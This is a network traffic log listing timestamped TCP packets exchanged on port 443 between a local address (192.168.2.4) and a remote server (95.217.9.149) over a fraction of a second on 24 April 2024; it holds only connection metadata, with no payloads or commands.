Apr 24, 2024 07:37:20.017524004 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.017534018 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.017574072 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.023092031 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.023113966 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.023175001 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.023184061 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.023221016 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.028047085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.028069019 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.028143883 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.028155088 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.028193951 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.032614946 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.032634020 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.032712936 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.032721996 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.032763004 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.037868977 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.037892103 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.037966967 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.037976027 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.037987947 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.038013935 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.042742014 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.042764902 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.042813063 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.042821884 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.042834044 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.042860031 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.047202110 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.047223091 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.047270060 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.047285080 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.047300100 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.047321081 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.051659107 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.051678896 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.051739931 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.051758051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.051918983 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.056639910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.056660891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.056726933 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.056745052 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.056761980 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.056787014 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.061320066 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.061341047 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.061397076 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.061422110 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.061439991 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.061459064 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.065594912 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.065617085 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.065676928 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.065695047 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.065711975 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.065732956 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.070535898 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.070557117 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.070605993 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.070624113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.070640087 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.070658922 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.075028896 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.075050116 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.075100899 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.075130939 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.075153112 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.075181961 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.079236984 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.079261065 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.079339027 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.079339027 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.079349995 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.079385042 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.083241940 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.083262920 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.083298922 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.083307028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.083333015 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.083347082 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.087814093 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.087842941 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.087886095 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.087894917 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.087923050 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.087937117 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.091861963 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.091882944 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.092061996 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.092071056 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.095320940 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.096240997 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.096263885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.096319914 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.096329927 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.096355915 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.096375942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.100229979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.100250006 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.100292921 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.100315094 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.100331068 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.100352049 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.104048014 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.104074001 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.104111910 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.104120970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.104141951 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.104156017 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.108851910 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.108876944 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.108917952 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.108931065 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.108959913 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.108977079 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.112772942 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.112797976 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.112833977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.112843037 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.112855911 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.112881899 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.116442919 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.116463900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.116503954 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.116518974 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.116535902 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.116556883 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.120939970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.120963097 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.121006966 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.121030092 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.121048927 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.121062994 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.124805927 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.124828100 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.124888897 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.124908924 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.124955893 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.128480911 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.128501892 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.128542900 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.128552914 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.128587961 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.128603935 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.132239103 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.132261992 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.132312059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.132323980 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.132404089 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.136648893 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.136670113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.136703968 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.136713028 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.136735916 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.136756897 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.140275955 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.140300035 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.140333891 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.140343904 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.140361071 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.140378952 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.143980026 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.144001961 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.144042969 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.144062996 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.144081116 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.144107103 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.148297071 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.148319006 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.148386955 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.148399115 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.148442030 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.151731014 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.151751995 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.151926994 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.151941061 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.151983976 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.155114889 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.155137062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.155200958 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.155211926 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.155256033 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.158427000 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.158447981 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.158510923 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.158523083 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.158560991 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.162544966 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.162566900 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.162600994 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.162621021 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.162641048 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.162655115 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.166055918 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.166075945 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.166117907 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.166134119 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.166161060 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.166182041 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.169828892 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.169850111 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.169891119 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.169902086 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.169924974 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.169945002 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.173490047 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.173537970 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.173582077 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.173593044 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.173609018 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.173625946 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.176798105 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.176819086 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.176938057 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.176949024 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.176985979 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.180097103 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.180124998 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.180157900 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.180167913 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.180191994 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.180212975 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.183469057 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.183489084 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.183526039 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.183547020 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.183564901 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.183583975 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.187380075 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.187400103 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.187457085 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.187474012 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.187498093 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.187515020 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.190556049 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.190577984 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.190686941 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.190701008 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.190737963 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.193886042 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.193907022 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.193952084 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.193963051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.193978071 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.194008112 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.197432041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.197469950 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.197504997 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.197514057 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.197540998 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.197554111 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.203114986 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.203138113 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.203170061 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.203191042 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.203207970 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.203227997 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.205735922 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.205775976 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.205806971 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.205823898 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.205843925 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.205854893 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.208950043 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.208976030 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.209014893 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.209023952 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.209041119 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.209060907 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.212526083 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.212546110 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.212605953 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.212621927 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.212660074 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.215522051 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.215543032 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.215612888 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.215627909 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.215666056 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.218987942 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.219006062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.219100952 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.219120979 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.219156981 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.222363949 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.222388983 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.222419977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.222441912 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.222465038 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.222480059 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.225308895 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.225330114 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.225364923 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.225394011 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.225409985 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.225430012 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.228180885 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.228204012 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.228292942 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.228311062 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.228353977 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.232356071 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.232392073 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.232424021 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.232439041 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.232456923 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.232475042 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.234807014 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.234834909 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.234875917 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.234891891 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.234905005 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.234927893 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.237701893 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.237721920 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.237766981 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.237781048 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.237801075 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.237813950 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.240747929 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.240767956 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.240806103 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.240822077 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.240838051 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.240864992 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.243709087 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.243738890 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.243777990 CEST	49750	443	192.168.2.4	95.217.9.149
Apr 24, 2024 07:37:20.243793011 CEST	443	49750	95.217.9.149	192.168.2.4
Apr 24, 2024 07:37:20.243815899 CEST	49750	443	192.168.2.4	95.217.9.149
